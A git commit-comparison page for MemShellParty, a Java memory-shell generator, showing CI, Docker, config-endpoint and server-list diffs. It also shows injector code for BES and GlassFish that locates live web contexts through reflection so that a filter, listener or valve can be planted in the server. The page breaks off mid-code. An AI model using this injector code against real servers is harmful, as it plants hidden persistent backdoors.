mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
97e85f5753 | ||
|
|
70d96e86b1 | ||
|
|
13fe8f0094 | ||
|
|
961845f96f | ||
|
|
4a12d74c7c | ||
|
|
7287409ce3 | ||
|
|
f806ab2c2c | ||
|
|
e1152000f2 | ||
|
|
3ada01bd97 | ||
|
|
e11eafe78b | ||
|
|
6c41f208ba | ||
|
|
ceb8e3ddb4 | ||
|
|
70935d6ab1 | ||
|
|
305bc0e12c | ||
|
|
b74c8f6155 | ||
|
|
4a990b7e0c | ||
|
|
493e540984 | ||
|
|
8514f1ae1f | ||
|
|
c641a92557 | ||
|
|
cda6c9f64e | ||
|
|
460172133b | ||
|
|
983bdaa2fa | ||
|
|
244bbd910a | ||
|
|
17627d5134 | ||
|
|
9af244408b | ||
|
|
d4c6473543 | ||
|
|
229698eb49 | ||
|
|
aaebf9300b | ||
|
|
31d4966cb3 | ||
|
|
e4ef1fce4a | ||
|
|
2843bbd8c4 | ||
|
|
7832c02e0d | ||
|
|
65d0b17fe2 | ||
|
|
f17a33fb8b | ||
|
|
f19fe37c36 | ||
|
|
9757a5b050 | ||
|
|
71230e6088 | ||
|
|
2ec3218e72 | ||
|
|
da046ae5dc | ||
|
|
a8cb4c68bc | ||
|
|
0e37e406da | ||
|
|
29c19a318f | ||
|
|
556c9d63ff | ||
|
|
3e48fc1534 | ||
|
|
8f2024917c | ||
|
|
82bbd2cf0a | ||
|
|
1243e59ac2 | ||
|
|
af4c8b1d63 |
@@ -52,7 +52,7 @@ jobs:
|
||||
|
||||
- name: Upload Boot Jar (Linux)
|
||||
if: matrix.os == 'ubuntu-latest'
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs/*.jar
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
name: Docker Build Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
|
||||
@@ -24,9 +24,9 @@ jobs:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "wildfly"
|
||||
@@ -34,7 +34,7 @@ jobs:
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
@@ -42,11 +42,11 @@ jobs:
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
- middleware: "struts2"
|
||||
|
||||
@@ -21,9 +21,9 @@ jobs:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "wildfly"
|
||||
@@ -31,7 +31,7 @@ jobs:
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
@@ -39,9 +39,11 @@ jobs:
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||
- middleware: "struts2"
|
||||
depend_tasks: ":vul:vul-struts2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
|
||||
@@ -65,7 +65,7 @@ jobs:
|
||||
run: ./gradlew :boot:bootjar -x test
|
||||
|
||||
- name: Upload Boot Jar
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs/*.jar
|
||||
|
||||
@@ -62,3 +62,5 @@ integration-test/**/bes
|
||||
integration-test/**/tongweb
|
||||
integration-test/**/inforsuite
|
||||
integration-test/**/primeton
|
||||
vul/vul-springboot3-bes
|
||||
vul/vul-springboot3-tongweb
|
||||
+5
-4
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH=""
|
||||
ARG CONTEXT_PATH=""
|
||||
@@ -16,7 +16,8 @@ WORKDIR /usr/src/web
|
||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
||||
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
||||
|
||||
RUN bun install --frozen-lockfile
|
||||
|
||||
@@ -25,7 +26,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -35,7 +36,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
||||
|
||||
RUN ./gradlew :boot:bootjar -x test
|
||||
|
||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
||||
FROM eclipse-temurin:21.0.12_8-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -78,6 +78,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
## 贡献者
|
||||
|
||||
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
|
||||
</a>
|
||||
|
||||
## Special Thanks
|
||||
|
||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
@@ -22,7 +23,12 @@ import java.util.*;
|
||||
@CrossOrigin("*")
|
||||
public class ConfigController {
|
||||
|
||||
/**
|
||||
* @deprecated use {@link #config()} for memshell configuration and
|
||||
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
||||
*/
|
||||
@RequestMapping("/servers")
|
||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||
public Map<String, List<String>> getServers() {
|
||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
@@ -34,7 +40,11 @@ public class ConfigController {
|
||||
return servers;
|
||||
}
|
||||
|
||||
/**
|
||||
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
||||
*/
|
||||
@RequestMapping("/packers")
|
||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||
public List<String> getPackers() {
|
||||
return Arrays.stream(Packers.values())
|
||||
.filter(packers -> packers.getParentPacker() == null)
|
||||
@@ -56,9 +66,14 @@ public class ConfigController {
|
||||
.toList();
|
||||
}
|
||||
|
||||
@RequestMapping("/probe/response-body/servers")
|
||||
public List<String> getProbeResponseBodyServers() {
|
||||
return ResponseBodyGenerator.getSupportedServers();
|
||||
}
|
||||
|
||||
@RequestMapping
|
||||
public Map<String, Map<?, ?>> config() {
|
||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
|
||||
+31
-9
@@ -1,9 +1,12 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||
import org.springframework.core.ParameterizedTypeReference;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.client.RestClient;
|
||||
@@ -22,6 +25,12 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
public class ConfigControllerIntegrationTest {
|
||||
|
||||
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
||||
};
|
||||
|
||||
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
||||
};
|
||||
|
||||
@LocalServerPort
|
||||
private int port;
|
||||
|
||||
@@ -36,31 +45,44 @@ public class ConfigControllerIntegrationTest {
|
||||
|
||||
@Test
|
||||
public void testConfigEndpoint() {
|
||||
ResponseEntity<Map> response = restClient.get()
|
||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||
.uri("/api/config")
|
||||
.retrieve()
|
||||
.toEntity(Map.class);
|
||||
.toEntity(MAP_TYPE);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigServersEndpoint() {
|
||||
ResponseEntity<Map> response = restClient.get()
|
||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||
.uri("/api/config/servers")
|
||||
.retrieve()
|
||||
.toEntity(Map.class);
|
||||
.toEntity(MAP_TYPE);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigPackersEndpoint() {
|
||||
ResponseEntity<List<String>> response = restClient.get()
|
||||
.uri("/api/config/packers")
|
||||
.retrieve()
|
||||
.toEntity(STRING_LIST_TYPE);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigPackersEndpoint() {
|
||||
ResponseEntity<List> response = restClient.get()
|
||||
.uri("/api/config/packers")
|
||||
public void testConfigProbeResponseBodyServersEndpoint() {
|
||||
ResponseEntity<List<String>> response = restClient.get()
|
||||
.uri("/api/config/probe/response-body/servers")
|
||||
.retrieve()
|
||||
.toEntity(List.class);
|
||||
.toEntity(STRING_LIST_TYPE);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.8.0"
|
||||
version = "2.10.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
|
||||
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
|
||||
public class Server {
|
||||
public static final String Tomcat = "Tomcat";
|
||||
public static final String Jetty = "Jetty";
|
||||
public static final String Jetty5 = "Jetty5";
|
||||
public static final String Undertow = "Undertow";
|
||||
public static final String JBoss = "JBoss";
|
||||
public static final String Resin = "Resin";
|
||||
public static final String Resin2 = "Resin2";
|
||||
public static final String WebLogic = "WebLogic";
|
||||
public static final String WebSphere = "WebSphere";
|
||||
public static final String GlassFish = "GlassFish";
|
||||
|
||||
@@ -33,9 +33,11 @@ public class ServerFactory {
|
||||
static {
|
||||
register(Server.Tomcat, Tomcat::new);
|
||||
register(Server.Jetty, Jetty::new);
|
||||
register(Server.Jetty5, Jetty5::new);
|
||||
register(Server.Undertow, Undertow::new);
|
||||
register(Server.JBoss, Jboss::new);
|
||||
register(Server.Resin, Resin::new);
|
||||
register(Server.Resin2, Resin2::new);
|
||||
register(Server.WebLogic, WebLogic::new);
|
||||
register(Server.WebSphere, WebSphere::new);
|
||||
register(Server.GlassFish, GlassFish::new);
|
||||
|
||||
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
|
||||
public class ServerType {
|
||||
public static final String TOMCAT = "Tomcat";
|
||||
public static final String JETTY = "Jetty";
|
||||
public static final String JETTY5 = "Jetty5";
|
||||
public static final String JBOSS_AS = "JBossAS";
|
||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||
public static final String UNDERTOW = "Undertow";
|
||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||
public static final String WILDFLY = "Wildfly";
|
||||
public static final String RESIN = "Resin";
|
||||
public static final String RESIN2 = "Resin2";
|
||||
public static final String GLASSFISH = "Glassfish";
|
||||
public static final String PAYARA = "Payara";
|
||||
public static final String WEBLOGIC = "WebLogic";
|
||||
|
||||
+5
-1
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
|
||||
protected abstract DynamicType.Builder<?> getBuilder();
|
||||
|
||||
protected int getTargetJreVersion() {
|
||||
return shellConfig.getTargetJreVersion();
|
||||
}
|
||||
|
||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||
return classBytes;
|
||||
}
|
||||
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
|
||||
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||
.name(shellClassName)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||
|
||||
+40
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.Label;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
@@ -17,6 +21,7 @@ import java.util.Base64;
|
||||
* @since 2025/3/18
|
||||
*/
|
||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||
private boolean containsSubroutines;
|
||||
|
||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||
super(shellConfig, customConfig);
|
||||
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||
ClassReader classReader = new ClassReader(classBytes);
|
||||
containsSubroutines = containsSubroutines(classReader);
|
||||
String className = classReader.getClassName().replace('/', '.');
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(className);
|
||||
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
||||
return new ByteBuddy()
|
||||
.redefine(typeDescription, compoundLocator);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected int getTargetJreVersion() {
|
||||
// Byte Buddy cannot emit a class version newer than Java 5 when the
|
||||
// source bytecode contains legacy jsr/ret subroutines. Keep such
|
||||
// custom classes at Java 5; Java 6+ runtimes can load them as well.
|
||||
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
|
||||
}
|
||||
|
||||
private static boolean containsSubroutines(ClassReader classReader) {
|
||||
final boolean[] found = {false};
|
||||
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
return new MethodVisitor(Opcodes.ASM9) {
|
||||
@Override
|
||||
public void visitJumpInsn(int opcode, Label label) {
|
||||
if (opcode == Opcodes.JSR) {
|
||||
found[0] = true;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitVarInsn(int opcode, int var) {
|
||||
if (opcode == Opcodes.RET) {
|
||||
found[0] = true;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||
return found[0];
|
||||
}
|
||||
}
|
||||
|
||||
+6
-2
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
|
||||
|
||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
}
|
||||
if (shell instanceof TongWeb) {
|
||||
if (serverVersion == null) {
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
}
|
||||
switch (serverVersion) {
|
||||
case "6":
|
||||
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
case "8":
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
break;
|
||||
case "7.E":
|
||||
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
|
||||
break;
|
||||
default:
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
}
|
||||
}
|
||||
if (StringUtils.isNotBlank(packageName)) {
|
||||
|
||||
+21
-4
@@ -85,10 +85,27 @@ public class BesFilterInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
|
||||
+21
-4
@@ -77,10 +77,27 @@ public class BesListenerInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
|
||||
+21
-4
@@ -76,10 +76,27 @@ public class BesValveInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
|
||||
+44
-2
@@ -87,16 +87,58 @@ public class GlassFishFilterInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object container = getContainerFromProcessor(target);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||
if (childrenMap == null) {
|
||||
continue;
|
||||
}
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
